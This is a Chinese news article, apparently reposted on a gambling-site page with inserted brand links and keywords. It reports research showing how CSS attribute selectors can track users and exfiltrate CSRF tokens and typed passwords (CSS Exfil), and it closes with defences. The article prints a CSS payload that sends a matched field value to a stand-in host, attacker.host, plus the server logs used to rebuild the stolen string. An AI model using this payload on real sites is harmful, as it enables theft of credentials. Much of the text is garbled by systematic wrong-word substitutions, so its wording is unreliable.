CSS代码可能被用来收集敏感用户数据

 行业新闻     |      2023-07-09 00:10

开云体育|官网入口app下载

本文摘要:CSS不仅在网页展现时强大,在追踪用户时也能发挥作用。它能够追踪网站用户,从网页中提取和窃取数据,收集表单域中输入的数据(包罗密码),甚至让暗网用户袒露身份。在已往的一个月里,三个有趣的研究项目都把CSS作为攻击前言,显示了这种看似无害的语言也能被用来针对用户。

开云体育入口

CSS不仅在网页展现时强大,在追踪用户时也能发挥作用。它能够追踪网站用户,从网页中提取和窃取数据,收集表单域中输入的数据(包罗密码),甚至让暗网用户袒露身份。在已往的一个月里,三个有趣的研究项目都把CSS作为攻击前言,显示了这种看似无害的语言也能被用来针对用户。

使用CSS跟踪页面上的用户关于这个主题的第一个项目是JanBöhmer的一个项目“Crooked Style Sheets”,这个项目提供了一个无JavaScript的跟踪方案,可以通过CSS代码的页面交互跟踪用户。Böhmer表现,他可以跟踪用户何时悬停鼠标,何时点击链接,何时在输入字段中输入文本,以及收集大量真实的用户署理信息,即便用户使用假的UA也没有用。使用CSS窃取CSRF token与Böhmer的事情差别,宁静研究人员Dylan Ayrey(XSSJacking作者)也在上周末公布了新的研究结果,展示攻击者如何滥用CSS来窃取CSRF(用户身份验证)token。

Ayrey的攻击只适用于在种种HTML页面元素的属性中存储CSRF令牌的严重错误的网站和应用法式,因此其规模很是有限。这种攻击可能很容易被网站/应用法式所有者击败,他们发现一种更宁静的方式来验证用户,而不会在网页的源代码中倾销CSRF令牌。Ayrey的技术依赖于在网页中注入CSS代码,使用CSS属性选择器每次猜解CSRF token的一个字母。

攻击需要10秒钟左右完成,甚至可以在不需要iframe的情况下事情,不需要连续流量的远程服务器也就没有时机提醒泛起问题的用户。CSS属性选择器的威胁不止于此Ayrey的研究只是停留在外貌。已往的一个月中,宁静研究员Mike Gualtieri也一直在努力使用相同的技术,但不仅仅是窃取token。

Gualtieri研究的是如何使用CSS属性选择器来推测留在HTML标签内的敏感内容。研究人员能够使用这种方法收集在表单域中输入的敏感用户数据,包罗密码字符串。事情原理Ayrey和Gualtieri的方法都使用了CSS属性选择器,属性选择器能让开发人员查询单个属性的页面HTML标志,而且匹配它们的值。举个例子,下面的CSS代码将搜索页面中的“href”属性包罗“facebook”字符串的链接元素(“a”),并将所有这些链接加上蓝色。

a[href*="facebook"] { color: blue;}这些查询看似无害,但在研究人员看来可能被用来实施攻击。这些查询可以拼接在一起,执行基本的字典暴力攻击,并实验推测属性的起始字母,然后将识此外字母添加到新的模式匹配语法中,从而攻击者可以猜解第二个,第三个等字母。[attribute=value] [foo=bar] 选择foo =“bar”的所有元素[attribute~=value] [foo~=bar] 选择所有包罗单词“bar”的foo属性的元素[attribute|=value] [foo|=bar] 选择所有具有以“bar”开头的foo属性值的元素[attribute^=value] [foo^="bar"] 选择所有具有以“bar”开头的foo属性值的元素[attribute$=value] [foo$="bar"] 选择所有具有以“bar”末端的foo属性值的元素[attribute*=value] [foo*="bar"] 选择所有包罗子字符串“bar”的foo属性的元素攻击者需要结构恶意HTTP请求,执行CSS代码选择器。

#username[value="ZeroC00L"] { background:url("https://attacker.host/ZeroC00L");}攻击者只需要通过对服务器404的错误筛选,找出想要的效果。127.0.0.1 - - [30/Jan/2018:11:09:35 -0500] "GET /00 HTTP/1.1" 404 22127.0.0.1 - - [30/Jan/2018:11:09:35 -0500] "GET /0L HTTP/1.1" 404 22127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /Ze HTTP/1.1" 404 22127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /Z_ HTTP/1.1" 404 22127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /ro HTTP/1.1" 404 22127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /oC HTTP/1.1" 404 22127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /_L HTTP/1.1" 404 22127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /er HTTP/1.1" 404 22127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /C0 HTTP/1.1" 404 22之后再把字符串组合成完整的数据Z # Z_Ze # ZeZer # erZero # roZeroC # oCZeroC0 # C0ZeroC00 # 00ZeroC00L # 0L _LAyrey和Gualtieri用了两种差别的方法举行攻击。Ayrey一次推测最后一个字母,而Gualtieri则通过多个推测来重建字符串,最后将他们组合。两种方法都有效。

Ayrey的方法噪音较大,但可以很容易自动化,而Gualtieri的方法更快(也可以自动化),但在某些情况下会依赖于人来拼接字符串。Gualtieri将此技术命名为CSS Exfil。

但CSS Exfil只能在加载时窃取页面上的HTML属性,不能在初始页面加载后从动态注入的代码中窃取。Gualtieri认为这不是大问题,他的研究提到攻击者可以有种种解决方法。

防御方式防范CSS Exfil攻击可以分为两个层面。首先,网站和网络应用法式作者可以实施内容宁静计谋(CSP),防止攻击者从外部加载CSS代码。

其次,访客还可以安装Gualtieri的Firefox或Chrome扩展法式,它可以检测Gualtieri在他的研究中记载的所有类型的CSS Exfil攻击,并在执行之前重写恶意代码。你可以会见这里的网页举行测试。CSS Exfil并不是一项新技术,2016年的CureSec就曾经讨论过,可是在已往一个月中,这种攻击方法吸引了多位研究人员的眼光。


本文关键词:CSS,代码,可,开云体育入口,能被,用来,收集,敏感,用户,数据

本文来源:开云体育入口-www.shniudi.com